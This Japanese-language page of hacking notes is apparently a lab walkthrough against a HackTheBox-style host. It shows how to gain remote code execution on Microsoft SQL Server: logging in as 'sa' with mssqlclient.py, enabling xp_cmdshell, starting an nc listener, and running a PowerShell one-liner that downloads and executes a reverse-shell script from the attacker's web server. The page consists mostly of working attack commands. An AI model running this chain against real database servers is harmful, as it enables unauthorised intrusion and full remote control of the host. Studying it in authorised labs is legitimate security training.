> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# MSSQL - RCE攻略
mssqlclient.py、xp\_cmdshell、ホストされたPowerShellペイロード、リバースシェルを通じたMSSQLリモートコード実行。
## MSSQLの悪用（Microsoft SQL）
**ポート1433（MSSQL）**
ポート1433が開いており、Microsoft SQL Serverが待ち受けていることを示しています。列挙中に回収したユーザーを使ってアクセスを試してください。
**MSSQL接続テスト**
使用する `mssqlclient.py` 接続を試すには:
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**結果**: 使えるのは `sa` ユーザーだけです。
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### MSSQL経由のリバースシェル
**コマンド実行を有効化**
システムコマンドを実行するには、 `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
を有効にしてから、次のような簡単なコマンドでテストします: `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**手元のマシンで待ち受ける準備**
4444番ポートでリスナーを起動します:
```bash
rlwrap nc -nvlp 4444
```
**PowerShellスクリプトのダウンロード**
次の名前のPowerShellスクリプトを用意します `PS.ps1` リバースシェル関数を含めます:
{% embed url="" %}
スクリプトの最後に、次の行を追加します:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
このスクリプトをローカルのWebサーバーでホストします:
```bash
python3 -m http.server 80
```
**リバースシェルの実行**
MSSQLサーバーから、次のコマンドを実行してPowerShellスクリプトをダウンロードし、実行します:
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
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